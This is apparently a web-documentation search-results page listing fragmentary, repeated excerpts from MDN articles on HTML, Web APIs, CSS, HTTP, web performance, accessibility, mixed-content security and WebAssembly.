web UIs -- because having everything served as a single file cuts down on the number of HTTP requests required to view all the content, thereby improving performance. Note: Some
web developers take things even further, only having one page of information loaded at once, and dynamically changing the information shown using a JavaScript feature such as XMLHttpRequest. At this point in your learning h...
...And 6 more matches
How can we design for all types of users? - Learn web development
Active Learning There is no active learning available yet. ...
... Active Learning There is no active learning available yet. Dig deeper Color contrast To keep your text readable, use a text color that contrasts well with the background color. ...
...ing their phones on the street. The W3C defines a good color mix with an algorithm that calculates luminosity ratio between foreground and background. The calculation may seem pretty complicated, but we can rely on tools to do the job for us. Let's download and install the Paciello Group's Colour Contrast Analyser. Note: Alternatively you can find a number of contrast checkers online, such as
WebAIM's Color Contrast Checker. We suggest a local checker because it comes packaged with an on-screen color picker to find out a color value. For instance, let's test the colors on this page and see how we fare in the Colour Contrast Analyser: The luminosity contrast ratio between text and background is 8.30:1, which exceeds the minimum standard (4.5:1) and should enable many visually-impaired...
...And 6 more matches
Client-side form validation - Learn web development
to the client-side to tell the user to fix their data. However, client-side validation should not be considered an exhaustive security measure! Your apps should always perform security checks on any form-submitted data on the server-side as well as the client-side, because client-side validation is too easy to bypass, so malicious users can still easily send bad data through to your server. Read
Website security for an idea of what could happen; implementing server-side validation is somewhat beyond the scope of this module, but you should bear it in mind. What is form validation? Go to any popular site with a registration form, and you will notice that they provide feedback when you don't enter your data in the format they are expecting. You'll get messages such as: "This field is requ...
...ta format is required for it to be considered valid). "Please enter a valid email address" (the data you entered is not in the right format). "Your password needs to be between 8 and 30 characters long and contain one uppercase letter, one symbol, and a number." (A very specific data format is required for your data). This is called form validation. When you enter data, the browser and/or the
web server will check to see that the data is in the correct format and within the constraints set by the application. Validation done in the browser is called client-side validation, while validation done on the server is called server-side validation. In this chapter we are focusing on client-side validation. If the information is correctly formatted, the application allows the data to be submitte...
...d server-side validation. In this chapter we are focusing on client-side validation. If the information is correctly formatted, the application allows the data to be submitted to the server and (usually) saved in a database; if the information isn't correctly formatted, it gives the user an error message explaining what needs to be corrected, and lets them try again. We want to make filling out
web forms as easy as possible. So why do we insist on validating our forms? There are three main reasons: We want to get the right data, in the right format. Our applications won't work properly if our users' data is stored in the wrong format, is incorrect, or is omitted altogether. We want to protect our users' data. Forcing our users to enter secure passwords makes it easier to protect their a...
...And 6 more matches
Tips for authoring fast-loading HTML pages - Learn web development
This can be crucial for high volume sites or sites which have a spike in traffic due to unusual circumstances such as breaking news stories. Optimizing page load performance is not just for content which will be viewed by narrowband dial-up or mobile device visitors. It is just as important for broadband content and can lead to dramatic improvements even for your visitors with the fastest connections. ...
...ce with minimal need for other changes in the page structure. Tools such as HTML Tidy can automatically strip leading whitespace and extra blank lines from valid HTML source. Other tools can "compress" JavaScript by reformatting the source or by obfuscating the source and replacing long identifiers with shorter versions. Minimize the number of files Reducing the number of files referenced in a
web page lowers the number of HTTP connections required to download a page, thereby reducing the time for these requests to be sent, and for their responses to be received. Depending on a browser's cache settings, it may send a request with the If-Modified-Since header for each referenced file, asking whether the file has been modified since the last time it was downloaded. Too much time spent query...
...g the time for these requests to be sent, and for their responses to be received. Depending on a browser's cache settings, it may send a request with the If-Modified-Since header for each referenced file, asking whether the file has been modified since the last time it was downloaded. Too much time spent querying the last modified time of the referenced files can delay the initial display of the
web page, since the browser must check the modification time for each of these files, before rendering the page. If you use background images a lot in your CSS, you can reduce the number of HTTP lookups needed by combining the images into one, known as an image sprite. Then you just apply the same image each time you need it for a background and adjust the x/y coordinates appropriately. This techniq...
...And 6 more matches
Getting started with HTML - Learn web development
y, there will be an opportunity to play with HTML too! Prerequisites: Basic computer literacy, basic software installed, and basic knowledge of working with files. Objective: To gain basic familiarity with HTML, and practice writing a few HTML elements. What is HTML? HTML (Hypertext Markup Language) is not a programming language. It is a markup language that tells
web browsers how to structure the
web pages you visit. It can be as complicated or as simple as the
web developer wants it to be. HTML consists of a series of elements, which you use to enclose, wrap, or mark up different parts of content to make it appear or act in a certain way. The enclosing tags can make content into a hyperlink to connect to another page, italicize words, and so on. For example...
...he attribute name, followed by an equal sign. An attribute value, wrapped with opening and closing quote marks. Active learning: Adding attributes to an element Another example of an element is <a>. This stands for anchor. An anchor can make the text it encloses into a hyperlink. Anchors can take a number of attributes, but several are as follows: href: This attribute's value specifies the
web address for the link. For example: href="https://www.mozilla.org/". title: The title attribute specifies extra information about the link, such as a description of the page that is being linked to. For example, title="The Mozilla homepage". This appears as a tooltip when a cursor hovers over the element. target: The target attribute specifies the browsing context used to display the link. For e...
...lla homepage". This appears as a tooltip when a cursor hovers over the element. target: The target attribute specifies the browsing context used to display the link. For example, target="_blank" will display the link in a new tab. If you want to display the linked content in the current tab, just omit this attribute. Edit the line below in the Input area to turn it into a link to your favorite
website. Add the <a> element. Add the href attribute and the title attribute. Specify the target attribute to open the link in the new tab. You'll be able to see your changes update live in the Output area. You should see a link--that when hovered over--displays the value of the title attribute, and when clicked, navigates to the
web address in the href attribute. Remember that you need to inc...
...And 6 more matches
Video and Audio APIs - Learn web development
Previous Overview: Client-side
web APIs Next HTML5 comes with elements for embedding rich media in documents -- <video> and <audio> -- which in turn come with their own APIs for controlling playback, seeking, etc. This article shows you how to do common tasks such as creating custom playback controls. Prerequisites: JavaScript basics (see first steps, building blocks, JavaScript objects), the basics of Client-side APIs Objective: To learn how to use browser APIs to control video and audio playback. HTML5 video and audio The <video> and <audio> elements allow us to embed video and audio into
web pages. As we showed in Video and audio content, a typical implementation looks like this: <video controls> <source src="rabbit320.mp4" type="video/mp4"> ...
...of Client-side APIs Objective: To learn how to use browser APIs to control video and audio playback. HTML5 video and audio The <video> and <audio> elements allow us to embed video and audio into
web pages. As we showed in Video and audio content, a typical implementation looks like this: <video controls> <source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.
webm" type="video/
webm"> <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> </video> This creates a video player inside the browser like so: You can review what all the HTML features do in the article linked above; for our purposes here, the most interesting attribute is controls, which enables the default set of playback controls. ...
...t this point, if you load the HTML you should see a perfectly normal HTML5 video player, with the native controls rendered. Exploring the HTML Open the HTML index file. ...
...And 6 more matches
Measuring performance - Learn web development
Previous Overview: Performance Next Meauring performance provides an important metric to help you asses the success of your app, site, or
web service. For example, you can use performance metrics to determine how your app performs in comparison to a competitor or you can compare your app's performance across releases. The metrics you choose to measure should be relevant to your users, site, and business goals. They should be collected and measured in a consistent manner and analyzed in a format that can be consumed and understood by non-technical stakeholders. This article introduces
web perfomrance metrics that you can use to measure and optimize your site's performance. Prerequisites: Basic computer literacy, basic software installed, and basic knowled...
...usiness goals. They should be collected and measured in a consistent manner and analyzed in a format that can be consumed and understood by non-technical stakeholders. This article introduces
web perfomrance metrics that you can use to measure and optimize your site's performance. Prerequisites: Basic computer literacy, basic software installed, and basic knowledge of client-side
web technologies. Objective: To provide information about
web performance metrics that you can collect through various
web performance APIs and tools that you can use to visualize that data. Performance APIs When writing code for the
Web, there are a large number of
Web APIs available that allow you to create your own performance measuring tools. You can use the Navigati...
...You can use the API for metrics related to all of the navigation events displayed in the didagram below. ...
...And 6 more matches
Multimedia: Images - Learn web development
Previous Overview: Performance Next Media, namely images and video, account for over 70% of the bytes downloaded for the average
website. In terms of download performance, eliminating media, and reducing file size is the low-hanging fruit. This article looks at optimizing image and video to improve
web performance. Prerequisites: Basic computer literacy, basic software installed, and basic knowledge of client-side
web technologies. Objective: To learn about the various image formats, their impact on performance, and how to reduce the impact of images on overall page load time. This is a high-level introduction to optimizing multimedia delivery on the
web, covering general principles and techniques. For a more in-depth guide, see https://images.guid...
...es. Objective: To learn about the various image formats, their impact on performance, and how to reduce the impact of images on overall page load time. This is a high-level introduction to optimizing multimedia delivery on the
web, covering general principles and techniques. For a more in-depth guide, see https://images.guide. Why optimize your multimedia? For the average
website, 51% of its bandwidth comes from imagery, followed by video at 25%, so it's safe to say it's important to address and optimize your multi-media content. You need to be considerate of data usage. Many people are on capped data plans or even pay-as-you-go where they are literally paying by the megabyte. This isn't an emerging market problem either. As of 2018, 24% of the United Kingdom still u...
...spite being the largest consumer of bandwidth, images load asynchronously so the visitor can see the page as they download and therefore, their impact on perceived performance is far lower than many expect. However, images are mostly used for content, so it's important that a visitor can see them as soon as possible for a good experience. Loading strategy One of the biggest improvements to most
websites is lazy-loading images beneath-the-fold, rather than downloading them all on initial page load regardless of whether a visitor scrolls to see them or not. Many JavaScript libraries can implement this for you, such as lazysizes, and browser vendors are working on a native lazyload attribute that is currently in the experimental phase. Beyond loading a subset of images, next you should look i...
...And 6 more matches
Getting started with Svelte - Learn web development
and highly optimized JavaScript code from our sources; you'll need a terminal with node + npm installed to compile and build your app. Objective: To setup a local Svelte development environment, create and build a starter app, and understand the basics of how it works. Svelte: A new approach to building rich user interfaces Svelte provides a different approach to building
web apps than some of the other frameworks covered in this module. While frameworks like React and Vue do the bulk of their work in the user's browser while the app is running, Svelte shifts that work into a compile step that happens only when you build your app, producing highly-optimized vanilla JavaScript. The outcome of this approach is not only smaller application bundles and better performance...
...g, Svelte shifts that work into a compile step that happens only when you build your app, producing highly-optimized vanilla JavaScript. The outcome of this approach is not only smaller application bundles and better performance, but also a developer experience that is more approachable for people that have limited experience of the modern tooling ecosystem. Svelte sticks closely to the classic
web development model of HTML, CSS, and JS, just adding a few extensions to HTML and JavaScript. It arguably has fewer concepts and tools to learn than some of the other framework options. It's main current disadvantages are that it is a young framework -- its ecosystem is therefore more limited in terms of tooling, support, plugins, clear usage patterns, etc. than more mature frameworks, and there ...
...ld something slightly more in-depth. It should take you about 30 minutes to complete. Use cases Svelte can be used to develop small pieces of an interface or whole applications. You can either start from scratch letting Svelte drive your UI or you can incrementally integrate it into an existing application. Nevertheless, Svelte is particularly appropriate to tackle the following situations:
Web applications intended for low power devices: Applications built with Svelte have smaller bundle sizes, which is ideal for devices with slow network connections and limited processing power. Less code means less KB to download, parse, execute, and keep hanging around in memory. Highly interactive pages or complex visualizations: If you are building data-visualizations that need to display a large...
...And 6 more matches
Introduction to cross browser testing - Learn web development
ll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" Prerequisites: Familiarity with the core HTML, CSS, and JavaScript languages. Objective: To gain an understanding of the high-level concepts involved in cross browser testing. What is cross browser testing? Cross browser testing is the practice of making sure that the
web sites and
web apps you create work across an acceptable number of
web browsers. As a
web developer, it is your responsibility to make sure that not only do your projects work, but they work for all your users, no matter what browser, device, or additional assistive tools they are using. You need to think about: Different browsers other than the one or two that you use regularly on your devices...
...slightly older browsers that some people might still be using, which don't support all the latest, shiniest CSS and JavaScript features. Different devices with different capabilities, from the latest greatest tablets and smartphones, through smart TVs, right down to cheap tablets and even older feature phones that may run browsers with limited capabilities. People with disabilities, who use the
Web with the aid of assistive technologies like screenreaders, or don't use a mouse (some people use only the keyboard). Remember that you are not your users -- just because your site works on your Macbook Pro or high-end Galaxy Nexus, doesn't mean it will work for all your users -- there's a whole lot of testing to be done! Note: Make the
web work for everyone provides more useful perspective on...
... flat graphic representing the same information. As long as the site owner is happy with this, then you have done your job. On the other hand, it is not OK for a site to work fine for sighted users, but be completely inaccessible for visually impaired users because their screen reader application can't read any of the information stored on it. ...
...And 6 more matches
nsIWebBrowserPersist
embedding/components/
webbrowserpersist/nsI
WebBrowserPersist.idlScriptable Interface for persisting DOM documents and URIs to local or remote storage. Inherits from: nsICancelable Last changed in Gecko 36.0 (Firefox 36.0 / Thunderbird 36.0 / SeaMonkey 2.33) Implemented by: @mozilla.org/embedding/browser/ns
WebBrowser;1 and @mozilla.org/embedding/browser/ns
WebBrowserPersist;1. ...
...nts/
webbrowserpersist/nsI
WebBrowserPersist.idlScriptable Interface for persisting DOM documents and URIs to local or remote storage. Inherits from: nsICancelable Last changed in Gecko 36.0 (Firefox 36.0 / Thunderbird 36.0 / SeaMonkey 2.33) Implemented by: @mozilla.org/embedding/browser/ns
WebBrowser;1 and @mozilla.org/embedding/browser/ns
WebBrowserPersist;1. ...
...persisting DOM documents and URIs to local or remote storage. Inherits from: nsICancelable Last changed in Gecko 36.0 (Firefox 36.0 / Thunderbird 36.0 / SeaMonkey 2.33) Implemented by: @mozilla.org/embedding/browser/ns
WebBrowser;1 and @mozilla.org/embedding/browser/ns
WebBrowserPersist;1. ...
...And 6 more matches
FileSystemDirectoryEntry - Web APIs
ng a directory using a full path that includes parent directories that do not exist yet, an error is returned. So create the hierarchy by recursively adding a new path after creating the parent directory. Example In the following code snippet, we create a directory called "Documents." // Taking care of the browser-specific prefixes. window.requestFileSystem = window.requestFileSystem || window.
webkitRequestFileSystem; window.directoryEntry = window.directoryEntry || window.
webkitDirectoryEntry; ... function onFs(fs){ fs.root.getDirectory('Documents', {create:true}, function(directoryEntry){ //directoryEntry.isFile === false //directoryEntry.isDirectory === true //directoryEntry.name === 'Documents' //directoryEntry.fullPath === '/Documents' }, onError); } // Op...
...Directory Entries APIThe definition of 'FileSystemDirectoryEntry' in that specification. Draft Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...rome Full support 8Alternate Name Full support 8Alternate Name Alternate Name Uses the non-standard name: DirectoryEntryEdge Full support 79Prefixed Full support 79Prefixed Prefixed Implemented with the vendor prefix:
webkitFirefox Full support 50IE No support NoOpera Full support YesPrefixed Full support YesPrefixed Prefixed Implemented with the vendor prefix:
webkitSafari Full support 11.1W...
...And 6 more matches
Using the Gamepad API - Web APIs
The Gamepad API is a way for developers and designers to access and use gamepads and other game controllers. The Gamepad API introduces new events on the Window object for reading gamepad and controller (hereby referred to as gamepad) state. ...
... which returns a Gamepad object. We can use this in order to determine which gamepad (i.e., its ID) had caused the event, since multiple gamepads might be connected at once. We can do much more with the Gamepad object, including holding a reference to it and querying it to find out which buttons and axes are being pressed at any one time. Doing so is often desirable for games or other interactive
web pages that need to know the state of a gamepad now vs. the next time an event fires. Performing such checks tends to involve using the Gamepad object in conjunction with an animation loop (e.g., requestAnimationFrame), where developers want to make decisions for the current frame based on the state of the gamepad or gamepads. The Navigator.getGamepads() method returns an array of all devices cu...
...w the state of a gamepad now vs. the next time an event fires. Performing such checks tends to involve using the Gamepad object in conjunction with an animation loop (e.g., requestAnimationFrame), where developers want to make decisions for the current frame based on the state of the gamepad or gamepads. The Navigator.getGamepads() method returns an array of all devices currently visible to the
webpage, as Gamepad objects (the first value is always null, so null will be returned if there are no gamepads connected.) This can then be used to get the same information. For example, the first code example above you be rewritten as shown below: window.addEventListener("gamepadconnected", function(e) { var gp = navigator.getGamepads()[e.gamepad.index]; console.log("Gamepad connected at index ...
...And 6 more matches
HTMLCanvasElement - Web APIs
ement interface also inherits the properties and methods of the HTMLElement interface. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 6 more matches
The HTML DOM API - Web APIs
y upon. The functional areas included in the HTML DOM API include: Access to and control of HTML elements via the DOM. Access to and manipulation of form data. Interacting with the contents of 2D images and the context of an HTML <canvas>, for example to draw on top of them. Management of media connected to the HTML media elements (<audio> and <video>). Dragging and dropping of content on
webpages. Access to the browser navigation history Supporting and connective interfaces for other APIs such as
Web Components,
Web Storage,
Web Workers,
WebSocket, and Server-sent events. HTML DOM concepts and usage In this article, we'll focus on the parts of the HTML DOM that involve engaging with HTML elements. Discussion of other areas, such as Drag and Drop,
WebSockets,
Web Storage, etc. ca...
... represents a single element in a document created using either HTML or an XML vocabulary such as SVG. For example, consider a document with two elements, one of which has two more elements nested inside it: While the Document interface is defined as part of the DOM specification, the HTML specification significantly enhances it to add information specific to using the DOM in the context of a
web browser, as well as to using it to represent HTML documents specifically. Among the things added to Document by the HTML standard are: Support for accessing various information provided by the HTTP headers when loading the page, such as the location from which the document was loaded, cookies, modification date, referring site, and so forth. Access to lists of elements in the document's <hea...
...MediaElement defines the methods and properties held in common between audio and video elements. These element-specific interfaces make up the majority of the HTML DOM API, and are the focus of this article. To learn more about the actual structure of the DOM, see Introduction to the DOM. HTML DOM target audience The features exposed by the HTML DOM are among the most commonly-used APIs in the
web developer's arsenal. All but the most simple
web applications will use some features of the HTML DOM. HTML DOM API interfaces The majority of the interfaces that comprise the HTML DOM API map almost one-to-one to individual HTML elements, or to a small group of elements with similar functionality. In addition, the HTML DOM API includes a few interfaces and types to support the HTML element inte...
...And 6 more matches
Basic concepts - Web APIs
IndexedDB is useful for applications that store a large amount of data (for example, a catalog of DVDs in a lending library) and applications that don't need persistent internet connectivity to work (for example, mail clients, to-do lists, and notepads). About this document This introduction discusses essential concepts and terminology in IndexedDB. It gives you the big picture and explains key concepts. ...
...article and its subpages, which document the types of objects used by IndexedDB. For more information on how the browser handles storing your data in the background, read Browser storage limits and eviction criteria. Overview of IndexedDB IndexedDB lets you store and retrieve objects that are indexed with a "key." All changes that you make to the database happen within transactions. ...
...ndexedDB lets you store and retrieve objects that are indexed with a "key." All changes that you make to the database happen within transactions. Like most
web storage solutions, IndexedDB follows a same-origin policy. So while you can access stored data within a domain, you cannot access data across different domains. ...
...And 6 more matches
OVR_multiview2.framebufferTextureMultiviewOVR() - Web APIs
Syntax void ext.framebufferTextureMultiviewOVR(target, attachment, texture, level, baseViewIndex, numViews); Parameters target A GLenum specifying the binding point (target). Possible values: gl.FRAMEBUFFER: Collection buffer data storage of color, alpha, depth and stencil buffers used to render an image. gl.DRAW_FRAMEBUFFER: Equivalent to gl.FRAMEBUFFER. Used as a destination for drawing, rendering, clearing, and writing operations. gl.READ_FRAMEBUFFER: Used as a source for reading operations. attachment A GLenum specifying the attachment point for the texture. ...
...d stencil buffer. ...
...ENT2 gl.COLOR_ATTACHMENT3 gl.COLOR_ATTACHMENT4 gl.COLOR_ATTACHMENT5 gl.COLOR_ATTACHMENT6 gl.COLOR_ATTACHMENT7 gl.COLOR_ATTACHMENT8 gl.COLOR_ATTACHMENT9 gl.COLOR_ATTACHMENT10 gl.COLOR_ATTACHMENT11 gl.COLOR_ATTACHMENT12 gl.COLOR_ATTACHMENT13 gl.COLOR_ATTACHMENT14 gl.COLOR_ATTACHMENT15 When using the
WEBGL_draw_buffers extension: ext.COLOR_ATTACHMENT0_
WEBGL (same as gl.COLOR_ATTACHMENT0) ext.COLOR_ATTACHMENT1_
WEBGL ext.COLOR_ATTACHMENT2_
WEBGL ext.COLOR_ATTACHMENT3_
WEBGL ext.COLOR_ATTACHMENT4_
WEBGL ext.COLOR_ATTACHMENT5_
WEBGL ext.COLOR_ATTACHMENT6_
WEBGL ext.COLOR_ATTACHMENT7_
WEBGL ext.COLOR_ATTACHMENT8_
WEBGL ext.COLOR_ATTACHMENT9_
WEBGL ext.COLOR_ATTACHMENT10_
WEBGL ext.COLOR_ATTACHMENT11_
WEBGL ...
...And 6 more matches
PushRegistrationManager - Web APIs
thods PushRegistrationManager.register() Returns a promise that resolves to a PushRegistration with details of a new registration. PushRegistrationManager.unregister() Returns a promise that resolves to a PushRegistration with details of the unregistered registration. PushRegistrationManager.getRegistration() Returns a promise that resolves the PushRegistration associated with the current
webapp. PushRegistrationManager.hasPermission() Returns a promise that resolves to the PushPermissionStatus of the requesting
webapp. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ...
...er.hasPermission() Returns a promise that resolves to the PushPermissionStatus of the requesting
webapp. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...on iOSSamsung InternetPushRegistrationManager ExperimentalDeprecatedChrome No support NoEdge No support NoFirefox ? IE No support NoOpera No support NoSafari ?
WebView Android No support NoChrome Android No support NoFirefox Android ? Opera Android No support NoSafari iOS ? Samsung Internet Android No support NogetRegistr...
...And 6 more matches
Slottable - Web APIs
DOMThe definition of 'Slottable' in that specification. Living Standard Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...To change prefe...
... 63 No support 59 -- 63Disabled Disabled From version 59 until version 63 (exclusive): this feature is behind the dom.
webcomponents.shadowdom.enabled preference (needs to be set to true). To change preferences in Firefox, visit about:config. No support ? -- 59Disabled Disabled Until version 59 (exclusive): this feature is behind the dom.
webcomponents.enabled preference (needs to be set to true) and the dom.
webcomponents.shadowdom.enabled preference (needs to be set to true). To change preferences in Firefox, visit about:config.IE No support NoOpera Full support 40Safari Full support 10.1
WebView Andro...
...And 6 more matches
Compressed texture formats - Web APIs
If supported, textures can be stored in a compressed format in video memory. This allows for additional detail while limiting the added video memory necessary. Textures are uncompressed on the fly when being accessed by a shader. ...
... If supported, textures can be stored in a compressed format in video memory. This allows for additional detail while limiting the added video memory necessary. Textures are uncompressed on the fly when being accessed by a shader. ...
...ng the added video memory necessary. Textures are uncompressed on the fly when being accessed by a shader. Note that this advantage doesn't translate to network bandwidth: while the formats are better than uncompressed data, they are in general far worse than standard image formats such as PNG and JPG. As compressed textures require hardware support, therefore no specific formats are required by
WebGL; instead, a context can make different formats available, depending on hardware support. This site shows which formats are supported in the used browser. Usage of compressed formats first requires activating the respective extension with
WebGLRenderingContext.getExtension(). If supported, it will return an extension object with constants for the added formats and the formats will also be retur...
...And 6 more matches
Web accessibility for seizures and physical reactions - Accessibility
Overview Seizures Seizures caused by light are known as photosensitive epilepsy. Content that flickers, flashes, or blinks can trigger photosensitive epilepsy.
Web technologies that use video, animated gifs, animated pngs, animated SVGs, Canvas, and CSS or JavaScript animations are all capable of content that can induce seizures or other incapacitating physical reactions. Certain visual patterns, especially stripes, can also cause physical reactions even though they are not animated. ...
...y a few types of epilepsies are photosensitive though, and the vast majority of epilepsies are not." In addition to seizures brought about by photosensitivity, listening to certain pieces of music can also trigger what are called musicogenic seizures, although these types of seizures seem to be much more rare. For a great introduction on the topic of musicogenic seizures, visit Epilepsy Ontario's
web page on Musicogenic Seizures. Seizures and epilepsy are not the same. In its article, "A Revised Definition of Epilepsy" the Epilepsy Foundation notes that..."a seizure is an event and epilepsy is the disease involving recurrent unprovoked seizures." According to the Epilepsy Foundation's page "How Serious Are Seizures?" , "Sudden unexpected death in epilepsy (SUDEP) is likely the most common di...
...e Epilepsy Foundation's page "How Serious Are Seizures?" , "Sudden unexpected death in epilepsy (SUDEP) is likely the most common disease-related cause of death in with epilepsy. It is not frequent but it is a very real problem and people need to be aware of its risk". The point is, seizures most definitely can be and are fatal, and developers and designers are incredibly important to making the
web a safer place for those with sensitivities to photosensitive or musicogenic triggers. Seizures can be fatal, but even the ones that are "only" debilitating can be of such severity, that they render the user incapacitated. Other disorders, such as disorientation, nausea, vomiting, and more can also be so severe that the user is unable to function. The Epilepsy Foundation's article, Photosensitivi...
...And 6 more matches
-webkit-box-reflect - CSS: Cascading Style Sheets
To achieve reflection on the
Web, the standard way is to use the CSS element() function. Syntax Values above, below, right, left Are keywords indicating in which direction the reflection is to happen. ...
...To achieve reflection on the
Web, the standard way is to use the CSS element() function. Syntax Values above, below, right, left Are keywords indicating in which direction the reflection is to happen. ...
...To achieve reflection on the
Web, the standard way is to use the CSS element() function. Syntax Values above, below, right, left Are keywords indicating in which direction the reflection is to happen. ...
...And 6 more matches
-webkit-mask-repeat-x - CSS: Cascading Style Sheets
no-repeat The mask image is not repeated; only one copy of the mask image is drawn. The remainder of the masked element's content is not displayed. repeat The mask image is repeated both horizontally and vertically. ...
... no-repeat The mask image is not repeated; only one copy of the mask image is drawn. The remainder of the masked element's content is not displayed. repeat The mask image is repeated both horizontally and vertically. ...
... no-repeat The mask image is not repeated; only one copy of the mask image is drawn. The remainder of the masked element's content is not displayed. repeat The mask image is repeated both horizontally and vertically. ...
...And 6 more matches
Identifying resources on the Web - HTTP
The target of an HTTP request is called a "resource", whose nature isn't defined further; it can be a document, a photo, or anything else. Each resource is identified by a Uniform Resource Identifier (URI) used throughout HTTP for identifying resources. The identity and the location of resources on the
Web are mostly given by a single URL (Uniform Resource Locator, a kind of URI). There are sometimes reasons identity and location are not given by the same URI: HTTP uses a specific HTTP header, Alt-Svc when the resource requested wants the client to access it at another location. URLs and URNs URLs The most common form of URI is the Uniform Resource Locator (URL), which is known as the
web address. https://developer.mozilla.org https://developer.mozilla.org/docs/Learn/ https://developer.
...c:7230 The two URNs correspond to the book Nineteen Eighty-Four by George Orwell, the IETF specification 7230, Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing. Syntax of Uniform Resource Identifiers (URIs) Scheme or protocol http:// is the protocol. It indicates which protocol the browser must use. Usually it is the HTTP protocol or its secured version, HTTPS. The
Web requires one of these two, but browsers also know how to handle other protocols such as mailto: (to open a mail client) or ftp: to handle file transfer, so don't be surprised if you see such protocols. Common schemes are: Scheme Description data Data URIs file Host-specific file names ftp File Transfer Protocol http/https Hyper tex...
... Port :80 is the port in this instance. It indicates the technical "gate" used to access the resou...
...And 6 more matches
WebAssembly.Instance() constructor - JavaScript
The
WebAssembly.Instance() constructor creates a new Instance object which is a stateful, executable instance of a
WebAssembly.Module. Syntax Important: Since instantiation for large modules can be expensive, developers should only use the Instance() constructor when synchronous instantiation is absolutely required; the asynchronous
WebAssembly.instantiateStreaming() method should be used at all other times. new
WebAssembly.Instance(module, importObject); Parameters module The
WebAssembly.Module object to be instantiated. importObject Optional An object containing the values to be imported into the newly-created Instance, such as functions or
WebAssembly.Memory objects. ...
... method should be used at all other times. new
WebAssembly.Instance(module, importObject); Parameters module The
WebAssembly.Module object to be instantiated. importObject Optional An object containing the values to be imported into the newly-created Instance, such as functions or
WebAssembly.Memory objects. There must be one matching property for each declared import of module or else a
WebAssembly.LinkError is thrown. ...
...e, importObject); Parameters module The
WebAssembly.Module object to be instantiated. importObject Optional An object containing the values to be imported into the newly-created Instance, such as functions or
WebAssembly.Memory objects. There must be one matching property for each declared import of module or else a
WebAssembly.LinkError is thrown. ...
...And 6 more matches
Mixed content - Web security
An HTTPS page that includes content fetched using cleartext HTTP is called a mixed content page. Pages like this are only partially encrypted, leaving the unencrypted content accessible to sniffers and man-in-the-middle attackers. That leaves the pages unsafe. Types of mixed content There are two categories for mixed content: mixed passive/display content and mixed active content. The difference lies in the threat level of the worst case scenario if content is rewritten as part of a man-in-the-middle attack. ...
...n-the-middle attack. In the case of passive content, the threat is lower (the page may contain misleading content, or the user's cookies may be stolen). In the case of active content, the threat can lead to phishing, sensitive data disclosure, redirection to malicious sites, etc. Mixed passive/display content Mixed passive/display content is content served over HTTP that is included in an HTTPS
webpage, but that cannot alter other portions of the
webpage. For example, an attacker could replace an image served over HTTP with an inappropriate image or message to the user. The attacker could also infer information about the user's activities by watching which images are served to the user; often images are only served on a specific page within a
website. If the attacker observes HTTP requests ...
...the
webpage. For example, an attacker could replace an image served over HTTP with an inappropriate image or message to the user. The attacker could also infer information about the user's activities by watching which images are served to the user; often images are only served on a specific page within a
website. If the attacker observes HTTP requests to certain images, they could determine which
webpage the user is visiting. Passive content list This section lists all types of HTTP requests which are considered passive content: <img> (src attribute) <audio> (src attribute) <video> (src attribute) <object> subresources (when an <object> performs HTTP requests) Mixed active content Mixed active content is content that has access to all or parts of the Document Object Model of the HT...
...And 6 more matches
Index - WebAssembly
Found 12 pages: # Page Tags and summary 1
WebAssembly Landing,
WebAssembly, wasm
WebAssembly is a new type of code that can be run in modern
web browsers -- it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages such as C/C++ with a compilation target so that they can run on the
web. It is also designed to run alongside JavaScript, allowing both to work together. 2 Caching compiled
WebAssembly modules Caching, IndexedDB, JavaScript, Module,
WebAssembly, compile, wasm Caching is useful for improving the performance of an app -- we can store compiled
WebAssembly modules on the client so they don't have to be downloaded and compiled every time. This article expl...
... 2 Caching compiled
WebAssembly modules Caching, IndexedDB, JavaScript, Module,
WebAssembly, compile, wasm Caching is useful for improving the performance of an app -- we can store compiled
WebAssembly modules on the client so they don't have to be downloaded and compiled every time. This article explains the best practices around this. 3 Compiling a New C/C++ Module to
WebAssembly C, C++, Compiling, Emscripten,
WebAssembly, wasm When you've written a new code module in a language like C/C++, you can compile it into
WebAssembly using a tool like Emscripten. Let's look at how it works. ...
